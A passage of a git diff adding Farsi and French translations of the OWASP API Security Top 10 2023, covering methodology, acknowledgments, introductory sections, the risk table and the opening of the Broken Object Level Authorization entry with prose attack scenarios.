2019 با موفقیت به کار رفته بود، استفاده کرده است. این روش شامل بررسی امنیت API ها و شناسایی مشکلات امنیتی آنها می‌باشد. علاوه بر روش اصلی، [فراخوانی عمومی][1] به مدت سه ماه برای جمع‌آوری داده‌ هم اعلام شد. متأسفانه، داده‌های به دست آمده از فراخوان، امکان تجزیه و تحلیل معتبر آماری از مشکلات امنیتی رایج در APIها را نداشتند. با این حال، فرآیند به‌روزرسانی با استفاده از همان روش متداول ادامه یافت. +امیدواریم به‌روزرسانی فعلی، که یک سند آگاهی‌دهنده و متمرکز بر مسائل مربوط به APIهای مدرن است برای استفاده تا سه الی چهار سال آینده مناسب باشد. هدف اصلی این پروژه این ارائه جایگزینی برای top 10 API نبوده و تمرکز آن بر مسائل مرتبط با امنیت API و ریسک‌های آینده در این زمینه است و به عنوان یک ابزار آموزشی و آگاهی‌دهنده عمل می‌کند تا صنعت به بهترین نحو ممکن از این موارد آگاه شده و اقدامات لازم را برای حفاظت از امنیت اطلاعات صورت پذیرد. + +## متدلوژی +در فاز اول، داده‌‌های در دسترس عموم در حوزه رخداد‌‌های مرتبط با امنیت API توسط گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند. این داده‌‌ها از پلتفرم‌‌های شکار باگ و پایگاه‌‌های داده به منظور تحلیل آماری جمع آوری شده اند. این داده‌ها در بازه زمانی بین 2019 تا 2022 گزارش شده بودند و هدف از این جمع‌آوری آن‌ها، تکامل لیست 10 API پیشین برای سال‌های آینده و کمک به مدیریت داده‌های ارائه شده توسط افراد مختلف بود. به این ترتیب، تیم امنیت OWASP API توانست از تجربیات و داده‌های موجود به‌ شکل معقولی در تدوین لیست جدید امنیتی از مشکلات API استفاده کند. + + [فراخوانی عمومی][1] از سپتامبر تا آخر نوامبر 2022، برای جمع‌آوری داده آغاز شد که هم‌زمان با آن، تیم پروژه به بررسی تغییراتی که از سال 2019 به وقوع پیوسته بود، پرداخت. این بررسی شامل ارزیابی تأثیر لیست امنیتی اول، بازخوردهای دریافتی از جامعه و مشاهده تغییرات و روندهای جدید در حوزه امنیت API بود. با انجام این فراخوان، داده‌ها و بازخوردهای تازه‌ای از افراد مختلف و جامعه امنیتی جمع‌آوری شد تا تیم پروژه با آگاهی از تغییرات اخیر در امنیت API، آن‌ها را در لیست جدید مسائل امنیتی مد نظر قرار دهد. +این تلاش منجر به تهیه نسخه اولیه‌ای از ده ریسک‌ بحرانی امنیتی API شد. [روش ارزیابی ریسک OWASP][2] در تجزیه و تحلیل داده‌ها و ارائه نسخه اولیه مورد استفاده قرار گرفت. امتیازات میزان شیوع براساس توافق میان اعضای تیم پروژه و براساس تجربه‌ آن‌ها در این حوزه تعیین شدند. برای اطلاعات بیشتر در این خصوص، به بخش مرتبط با [ریسک‌های امنیتی API][3] مراجعه فرمایید. +نسخه اولیه تهیه شده، با افراد متخصص در زمینه امنیت API به اشتراک گذاشته شد. نظرات ارائه‌شده، بررسی، بحث و در صورت نیاز به سند اضافه شدند. سند نهایی به عنوان [نسخه نهایی برای بحث عمومی][4] منتشر شد تا [مورد بحث][5] قرار گیرد و تعدادی از [نظرات و مشارکت‌های][6] ارائه‌شده از جامعه به سند نهایی اضافه گردید. در نهایت، با همکاری افراد متخصص و جامعه لیست نهایی مشکلات امنیتی API تدوین گردید. +لیست مشارکت کنندگان در بخش [سپاسگزاری ها][7] قابل مشاهده است. + +## ریسک‌های مختص API + +لیست حاضر، به منظور پرداختن به مخاطرات امنیتی API‌ها ایجاد شده و از آن برای برطرف کردن چالش‌های امنیتی خاص API‌ها استفاده می‌شود. این لیست به تهدیدات عمومی امنیتی که در تمام برنامه‌های کاربردی وب و نرم‌افزارها وجود دارند، توجهی نمی‌کند و هدف اصلی آن، افزایش آگاهی از تهدیدات در زمینه API‌ها و راهکارهای مورد نیاز آن‌هاست. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fa/0xd1-acknowledgments.md b/editions/2023/fa/0xd1-acknowledgments.md new file mode 100644 index 000000000..372420d78 --- /dev/null +++ b/editions/2023/fa/0xd1-acknowledgments.md @@ -0,0 +1,53 @@ +# ACK سپاسگزاری‌ها + +## سپاسگزاری از مشارکت کنندگان +بدینوسیله از تمامی مشارکت کنندگانی که به طور عمومی در GitHub و به سایر طرق در توسعه این مستند نقش داشته‌اند تشکر می‌نماییم: + +- abunuwas +- Alissa Knight +- Arik Atar +- aymenfurter +- Corey J. Ball +- cyn8 d0znpp +- Dan Gordon +- donge +- Dor Tumarkin +- faizzaidi +- gavjl +- guybensimhon +- Inês Martins +- Isabelle Mauny +- Ivan Novikov +- jmanico +- Juan Pablo +- k7jto +- LaurentCB +- llegaz +- Maxim Zavodchik +- MrPRogers +- planetlevel +- rahulk22 +- Roey Eliyahu +- Roshan Piyush +- securitylevelup +- sudeshgadewar123 +- Tatsuya-hasegawa +- tebbers +- vanderaj +- wenz +- xplo1t-sec +- Yaniv Balmas +- Ynvb +- Alireza Mostame +- Maryam Javadi Hoseini +- Mohammad Reza Ismaeli Taba + +### ترجمه فارسی (Farsi Translation) +این ترجمه با حمایت شرکت راسپینا نت پارس تهیه شده است. استاندارد OWASP Security API Top 10 می‌تواند به عنوان مرجع راهنما در توسعه ایمن API و همچنین مرجع بررسی در فرایند آزمون نفوذ پذیری مورد استفاده قرار گیرد. + +### مترجمین (Translators) +- محمد رضا اسمعیلی طبا (Mohammad Reza Ismaeli Taba) +- مریم جوادی حسینی (Maryam Javadi Hoseini) + +### ویراستار (Editor) +- علیرضا مستمع (Alireza Mostame) diff --git a/editions/2023/fa/images/cover.jpg b/editions/2023/fa/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/fa/images/cover.jpg differ diff --git a/editions/2023/fa/images/front-cc.png b/editions/2023/fa/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/fa/images/front-cc.png differ diff --git a/editions/2023/fa/images/front-wasp.png b/editions/2023/fa/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/fa/images/front-wasp.png differ diff --git a/editions/2023/fa/images/license.png b/editions/2023/fa/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/fa/images/license.png differ diff --git a/editions/2023/fa/images/owasp-logo.png b/editions/2023/fa/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/fa/images/owasp-logo.png differ diff --git a/editions/2023/fr/0x00-header.md b/editions/2023/fr/0x00-header.md new file mode 100644 index 000000000..e73cec963 --- /dev/null +++ b/editions/2023/fr/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Ce travail est sous licence [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/fr/0x00-notice.md b/editions/2023/fr/0x00-notice.md new file mode 100644 index 000000000..a8ae57452 --- /dev/null +++ b/editions/2023/fr/0x00-notice.md @@ -0,0 +1,12 @@ +# Note + +Ce document est la version texte traduite en français de l'OWASP API Security Top 10. Il est utilisé comme source pour toutes les versions officielles de ce document, telles que le site web. + + +Les contributions au projet telles que les commentaires, les corrections ou les traductions doivent être effectuées ici. Pour plus de détails sur [Comment contribuer][1], veuillez vous référer à [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/fr/0x00-toc.md b/editions/2023/fr/0x00-toc.md new file mode 100644 index 000000000..18f1f7889 --- /dev/null +++ b/editions/2023/fr/0x00-toc.md @@ -0,0 +1,23 @@ +# Table des Matières + +* [Table des Matières](0x00-toc.md) +* [À propos de l'OWASP](0x01-about-owasp.md) +* [Avant-propos](0x02-foreword.md) +* [Introduction](0x03-introduction.md) +* [Notes de publication](0x04-release-notes.md) +* [Risques de sécurité des API](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [Perspectives pour les Développeurs](0xb0-next-devs.md) +* [Perspectives pour les DevSecOps](0xb1-next-devsecops.md) +* [Méthodologie et données](0xd0-about-data.md) +* [Remerciements](0xd1-acknowledgments.md) diff --git a/editions/2023/fr/0x01-about-owasp.md b/editions/2023/fr/0x01-about-owasp.md new file mode 100644 index 000000000..663a105e3 --- /dev/null +++ b/editions/2023/fr/0x01-about-owasp.md @@ -0,0 +1,45 @@ +# À propos de l'OWASP + +L'Open Worldwide Application Security Project (OWASP) est une communauté ouverte qui cherche à aider les organisations à développer, acheter et maintenir des applications et des API en lesquelles elles peuvent avoir confiance. + +L'OWASP vous met à disposition gratuitement et en libre accès : + +* Des outils et des normes de sécurité pour les applications. +* Des livres complets à propos des tests de sécurité sur les applications, du développement de code sécurisé et de la revue de code sécurisé. +* Des présentations et des [vidéos][1]. +* Des [Cheat sheets][2] sur de nombreux sujets. +* Des contrôles et des bibliothèques de sécurité standard. +* Des [communautés locales partout dans le monde][3]. +* Des recherches de pointe. +* De nombreuses [conférences partout dans le monde][4]. +* Des [listes de diffusion][5] ([archive][6]). + +Plus de renseignements sur : [https://www.owasp.org][7]. + +Tous les outils, documents, vidéos, présentations et communautés de l'OWASP sont gratuits et ouverts à toute personne intéressée par l'amélioration de la sécurité des applications. + +Nous considerons la sécurité des applications d'abord comme un problème impliquant des personnes, des processus et de la technologie. La manière la plus efficace de la faire progresser est donc de travailler sur l'ensemble de ces domaines en même temps. + +L'OWASP est un nouveau type d'organisation. Notre liberté face aux pressions commerciales nous permet de fournir des informations impartiales, pratiques et rentables sur la sécurité des applications. + +L'OWASP n'est affiliée à aucune entreprise de technologie, bien que nous soutenions l'utilisation éclairée de technologies sous licences commerciales. L'OWASP produit toutes sortes d'éléments de manière collaborative, transparente et ouverte. + +La Fondation OWASP est l'entité à but non lucratif qui garantit le succès à long terme du projet. La quasi-totalité des personnes associée à l'OWASP est bénévole, y compris le conseil d'administration, les responsables des communautés, les responsables de projets et les membres des projets. Nous soutenons la recherche et l'innovation sur la sécurité par des subventions et des infrastructures. + +Rejoignez-nous ! + +## Copyright et licence + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. +Ce document est distribué sous la [licence Creative Commons Attribution Share-Alike 4.0][8]. Toute réutilisation ou distribution doit clairement mentionner les termes et condition de licence de cette oeuvre. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/fr/0x02-foreword.md b/editions/2023/fr/0x02-foreword.md new file mode 100644 index 000000000..1aa5a6194 --- /dev/null +++ b/editions/2023/fr/0x02-foreword.md @@ -0,0 +1,27 @@ +# Avant-propos + +Actuellement, l'innovation dans le monde des applications est portée par l'Interface de Programmation Applicative (API). +Des banques en passant par le commerce et le transport, jusqu'à l'IoT, les véhicules autonomes et les villes intelligentes, les API sont une partie essentielle des applications modernes, que ces applications soient des logiciels, des applications web ou mobiles. Les API peuvent être utilisées dans des applications destinées aux consommateurs, aux partenaires ou à des usages internes. + +Par nature, les API exposent la logique de l'application et des données sensibles telles que les données à caractère personnel (DCP) et, en raison de cela, les API sont devenues de plus en plus une cible privilégiée pour les attaquants. Sans API sécurisées, une innovation rapide serait impossible. + +Bien que la liste des 10 principaux risques de sécurité des applications web soit toujours pertinente, en raison la nature particulière des API, une liste spécifique des risques de sécurité consacrée aux API était nécessaire. La sécurité des API se concentre sur des stratégies et des solutions pour comprendre et atténuer les vulnérabilités uniques et les risques de sécurité associés aux API. + +Si vous êtes familier avec le [Projet OWASP Top 10][1], vous remarquerez les similitudes entre les deux documents : ils sont conçus pour être lisibles et pour facilement se les approprier. Si vous êtes nouveau dans la série OWASP Top 10, vous feriez peut-être mieux de lire les sections [Risques de sécurité des API][2] et [Méthodologie et données][3] avant de vous plonger dans la liste du Top 10. + +Vous pouvez contribuer au OWASP API Security Top 10 avec vos questions, commentaires et idées sur notre dépôt de projet GitHub : + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Vous pouvez trouver le OWASP API Security Top 10 ici : + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Nous tenons à remercier tous les contributeurs qui ont rendu ce projet possible par leur effort et leurs contributions. Ils sont tous répertoriés dans la [section Remerciements][4]. Merci ! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0x03-introduction.md b/editions/2023/fr/0x03-introduction.md new file mode 100644 index 000000000..546136073 --- /dev/null +++ b/editions/2023/fr/0x03-introduction.md @@ -0,0 +1,61 @@ +# Introduction + +## Bienvenue dans le OWASP API Security Top 10 - 2023! + +Bienvenue dans la seconde édition du OWASP API Security Top 10! + +Ce document de sensibilisation a été publié pour la première fois en 2019. Depuis +lors, le secteur de la sécurité des API a prospéré et est devenue plus mature. +Nous croyons fermement que la première édition de ce document a contribué positivement à cette industrie, +car il a rapidement été adopté comme une référence. + +Les API jouent un rôle très important dans l'architecture moderne des applications. +Mais comme l'innovation évolue à un rythme différent de la sensibilisation à la sécurité, +nous pensons qu'il est important de se concentrer sur la sensibilisation à la sécurité des API. + +Le principal objectif du OWASP API Security Top 10 est d'éduquer ceux qui sont +impliqués dans le développement et la maintenance des API, par exemple, les +développeurs, les designers, les architectes, les managers ou les +organisations. Vous pouvez en savoir plus sur le projet en +visitant [la page du projet][1]. + +Si vous n'êtes pas familier avec la série OWASP top 10, nous vous recommandons de +consulter au moins les projets suivants : + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Aucun de ces projets n'en remplace un autre : si vous travaillez sur une application +mobile alimentée par une API back-end, vous feriez mieux de lire les deux Top 10 +correspondants. Il en va de même si vous travaillez sur une application web ou +de bureau alimentée par des API. + +Dans la section [Méthodologie et données][13], vous pouvez en savoir plus sur la +façon dont cette édition a été créée. Nous encourageons tout le +monde à contribuer avec des questions, des commentaires et des idées sur notre +[dépôt GitHub][14] ou notre [liste de diffusion][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/fr/0x04-release-notes.md b/editions/2023/fr/0x04-release-notes.md new file mode 100644 index 000000000..d2290ce61 --- /dev/null +++ b/editions/2023/fr/0x04-release-notes.md @@ -0,0 +1,26 @@ +# Notes de publication + +Ce document est la seconde édition du OWASP API Security Top 10, disponible exactement quatre ans +après sa première publication. Beaucoup de choses ont changé dans le domaine (de +la sécurité) des API. Le trafic des API a augmenté à un rythme soutenu, certains +protocoles API ont gagné en popularité, de nouvelles solutions de sécurité ont vu le jour, et, bien sûr, les attaquants ont développé de nouvelles compétences et techniques pour compromettre les API. Il était grand temps de mettre à jour la liste des dix risques de sécurité API les plus critiques. + +Avec une industrie de la sécurité des API plus mature, pour la première fois, il y a eu [un appel public à la collecte de données][1]. Malheureusement, aucune donnée n'a été envoyée, mais sur la base de l'expérience de l'équipe du projet, de l'examen attentif de la part des spécialistes de la sécurité des API et des retours de la communauté sur la version candidate, nous avons construit cette nouvelle liste. Dans la [section Méthodologie et Données][2], vous trouverez plus de détails sur la façon dont cette version a été construite. Pour plus de détails sur les risques de sécurité, veuillez vous référer à la [section Risques de sécurité des API][3]. + +Le OWASP API Security Top 10 2023 est un document de sensibilisation tourné vers l'avenir pour une industrie en constante évolution. Il ne remplace pas les autres TOP 10. Dans cette édition : + +* Nous avons combiné l' "Excessive Data Exposure" et le "Mass Assignment" en mettant l'accent sur la cause commune : "Broken Object Property Level Authorization". +* Nous avons mis davantage l'accent sur la consommation de ressources, plutôt que sur le rythme auquel elles sont épuisées. +* Nous avons créé une nouvelle catégorie "Unrestricted Access to Sensitive Business Flows" pour aborder de nouvelles menaces, comprenant la plupart de celles qui peuvent être atténuées par le biais du rate limiting. +* Nous avons ajouté "Unsafe Consumption of APIs" pour aborder quelque chose que nous avons commencé à voir : les attaquants ont commencé à chercher à compromettre les services intégrés de la cible, au lieu de viser directement les API. C'est le bon moment pour commencer à sensibiliser à ce risque croissant. + +Les API jouent un rôle de plus en plus important dans l'architecture moderne des microservices, les applications monopages (SPA), les applications mobiles, l'IoT, etc. Le OWASP API Security Top 10 est un effort nécessaire pour sensibiliser aux problèmes de sécurité des API modernes. + +Cette mise à jour n'a été possible que grâce à l'énorme effort de plusieurs bénévoles, listés dans la [section Remerciements][4]. + +Merci! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0x10-api-security-risks.md b/editions/2023/fr/0x10-api-security-risks.md new file mode 100644 index 000000000..6815d000a --- /dev/null +++ b/editions/2023/fr/0x10-api-security-risks.md @@ -0,0 +1,39 @@ +# Risques de sécurité des API + +La [méthodologie d'évaluation des risques de l'OWASP][1] a été utilisée pour effectuer l'analyse des risques. + +La table ci-dessous résume la terminologie associée au "score" de risque. + +| Facteur de menace | Exploitabilité | Prévalence de la faiblesse | Détectabilité de la faiblesse | Impact technique | Impacts organisationnel | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Spécifique à l'API | Facile: **3** | Répandue **3** | Facile **3** | Sévère **3** | Spécifique à l'organisation | +| Spécifique à l'API | Moyenne: **2** | Commune **2** | Moyenne **2** | Modéré **2** | Spécifique à l'organisation | +| Spécifique à l'API | Difficile: **1** | Difficile **1** | Difficile **1** | Mineur **1** | Spécifique à l'organisation | + + +**Note**: Cette approche ne prend pas en compte la probabilité de la menace. Elle ne tient pas non plus compte des divers détails techniques spécifiques à votre application. L'un de ces facteurs pourrait affecter significativement la probabilité globale qu'un attaquant trouve et exploite une vulnérabilité particulière. Cette notation ne prend pas en compte l'impact réel sur votre entreprise. Votre organisation devra décider du niveau de risque de sécurité des applications et des API que l'organisation est prête à accepter compte tenu de votre culture, de votre secteur et de votre environnement réglementaire. Le but du OWASP API Security Top 10 n'est pas de faire cette analyse de risque pour vous. Comme cette édition n'est pas basée sur des données, la prévalence résulte d'un consensus entre les membres de l'équipe. + +## Références + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externes + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/fr/0x11-t10.md b/editions/2023/fr/0x11-t10.md new file mode 100644 index 000000000..bbb4fd8ef --- /dev/null +++ b/editions/2023/fr/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risque | Description | +| ------ | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | Les API ont tendance à exposer des points d'accès (endpoints) qui manipulent des identifiants d'objets (OID), créant ainsi une large surface d'attaque sur les contrôles d'accès aux objets. Des contrôle d'autorisation doivent être effectuées dans chaque fonction qui accède à une source de données en utilisant un ID fourni par l'utilisateur. | +| [API2:2023 - Broken Authentication][api2] | Les mécanismes d'authentification sont souvent implémentés de manière incorrecte, permettant aux attaquants de compromettre les jetons (token) d'authentification ou d'exploiter des failles d'implémentation afin d'usurper temporairement ou définitivement l'identité d'autres utilisateurs. L'incapacité d'un système à identifier le client/l'utilisateur compromet la sécurité de l'API dans son ensemble. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Cette catégorie combine les anciennes catégories [API3:2019 Excessive Data Exposure][1] et [API6:2019 - Mass Assignment][2], en se concentrant sur la cause commune : le manque de validation ou une validation incorrecte dans le processus d'autorisation au niveau des propriétés de l'objet. Cela conduit à une exposition ou une manipulation d'informations par des parties non autorisées. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. D'autres ressources telles que les e-mails/SMS/appels téléphoniques ou la validation biométrique sont mises à disposition par les fournisseurs de services via des intégrations API, moyennant un paiement par requête effectuée. Des attaques réussies peuvent entraîner un déni de service ou une augmentation des coûts opérationnels. | +| [API5:2023 - Broken Function Level Authorization][api5] | Les politiques de contrôle d'accès complexes avec différentes hiérarchies, groupes et rôles, et une séparation floue entre les fonctions normales et d'administration, tendent à entraîner des failles d'autorisation. En exploitant ces problèmes, les attaquants peuvent accéder aux ressources d'autres utilisateurs et/ou aux fonctions d'administration. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | Les API vulnérables à ce risque exposent un flux métier - tel que l'achat d'un billet ou la publication d'un commentaire - sans compenser l'impact potentiellement néfaste pour l'entreprise si la fonctionnalité est utilisée de manière excessive et automatisée. Cela ne provient pas nécessairement de bugs d'implémentation. | +| [API7:2023 - Server Side Request Forgery][api7] | Les failles de type SSRF (Server-Side Request Forgery) peuvent survenir lorsqu'une API récupère une ressource distante sans valider l'URI fourni par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. | +| [API8:2023 - Security Misconfiguration][api8] | Les API et les systèmes qui les supportent contiennent généralement des configurations complexes, destinées à rendre les API plus personnalisables. Les ingénieurs logiciels et DevOps peuvent passer à côté de ces configurations, ou ne pas suivre les meilleures pratiques de sécurité en matière de configuration, ouvrant la porte à différents types d'attaques. | +| [API9:2023 - Improper Inventory Management][api9] | Les API ont tendance à exposer plus de points d'accès que les applications web traditionnelles, ce qui rend une documentation propre et à jour très importante. Un inventaire correct des hôtes et des versions d'API déployées est également important pour atténuer les problèmes tels que les versions d'API obsolètes et les points d'accès de débuggage exposés. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Les développeurs ont tendance à faire plus confiance aux données reçues des API tierces qu'aux entrées des utilisateurs, et adoptent donc souvent des normes de sécurité plus faibles. Afin de compromettre les API, les attaquants s'attaquent aux services tiers intégrés plutôt que de tenter de compromettre directement l'API cible. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/fr/0xa1-broken-object-level-authorization.md b/editions/2023/fr/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..bf507a311 --- /dev/null +++ b/editions/2023/fr/0xa1-broken-object-level-authorization.md @@ -0,0 +1,74 @@ +# API1:2023 Broken Object Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| Les attaquants peuvent exploiter les points d'accès (endpoints) de l'API qui sont vulnérables au "Broken Object Level Authorization" en manipulant l'ID de l'objet envoyé dans la requête. Les ID d'objet peuvent être des entiers, des UUID (identifiants uniques universels) ou des chaînes de caractères. Quel que soit le type de données, ils sont faciles à identifier dans la requête (dans le chemin ou dans les paramètres), son en-tête (header) ou même dans sa payload. | Ce problème est extrêmement courant dans les applications basées sur des API car le composant serveur ne suit généralement pas pleinement l'état du client, et se repose plutôt sur des paramètres comme les ID d'objet, qui sont envoyés par le client pour décider à quels objets accéder. La réponse du serveur est généralement suffisante pour comprendre si la requête a réussi. | L'accès non autorisé aux objets d'autres utilisateurs peut entraîner la divulgation de données à des parties non autorisées, la perte de données ou la manipulation de données. Dans certaines circonstances, l'accès non autorisé aux objets peut également entraîner une prise de contrôle complète du compte. | + +## L'API est-elle vulnérable ? + +L'autorisation au niveau des objets est un mécanisme de contrôle d'accès qui est généralement implémenté au niveau du code pour valider qu'un utilisateur ne peut accéder qu'aux objets auxquels il devrait avoir accès. + +Chaque point d'accès (endpoint) de l'API qui reçoit un ID d'un objet et effectue une action sur l'objet devrait implémenter des vérifications d'autorisation au niveau de l'objet. Les vérifications devraient valider que l'utilisateur connecté a les autorisations pour effectuer l'action demandée sur l'objet demandé. + +Les échecs de ce mécanisme conduisent généralement à la divulgation non autorisée d'informations, à la modification ou à la destruction de toutes les données. + +Comparer l'ID de l'utilisateur de la session actuelle (par exemple, en l'extrayant du jeton JWT) avec le paramètre ID vulnérable n'est pas une solution suffisante pour résoudre le Broken Object Level Authorization (BOLA). Cette approche ne pourrait résoudre qu'un petit sous-ensemble de cas. + +Dans ce cas du BOLA, c'est par conception que l'utilisateur aura accès au point d'accès (endpoint) ou à la fonction vulnérable. La violation se produit au niveau de l'objet, en manipulant l'ID. Si un attaquant parvient à accéder à un point d'accès (endpoint) ou à une fonction API à laquelle il ne devrait pas avoir accès, il s'agit d'un cas de [Broken Function Level Authorization][5] (BFLA) plutôt que d'un BOLA. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une plateforme de e-commerce pour des magasins en ligne fournit une page avec les graphiques des revenus que le magasin a généré. En inspectant les requêtes du navigateur, un attaquant peut identifier les points d'accès de l'API utilisés comme source de données pour ces graphiques et leur modèle : `/shops/{shopName}/revenue_data.json`. En utilisant un autre point d'accès de l'API, l'attaquant peut obtenir la liste de tous les noms de magasins hébergés. Avec un simple script pour manipuler les noms de la liste, en remplaçant `{shopName}` dans l'URL, l'attaquant obtient accès aux données de vente de milliers de magasins de e-commerce. + +### Scénario #2 + +Un fabricant automobile a permis le contrôle à distance de ses véhicules via une API mobile pour communiquer avec le téléphone mobile du conducteur. L'API permet au conducteur de démarrer et d'arrêter le moteur et de verrouiller et déverrouiller les portes à distance. Dans ce flux, l'utilisateur envoie le numéro d'identification du véhicule (VIN) à l'API. L'API ne valide pas que le VIN représente un véhicule appartenant à l'utilisateur connecté, ce qui conduit à une vulnérabilité de BOLA. Un attaquant peut accéder à des véhicules qui ne lui appartiennent pas. + +### Scénario #3 + +Un service de stockage de documents en ligne permet aux utilisateurs de visualiser, d'éditer, de stocker et de supprimer leurs documents. 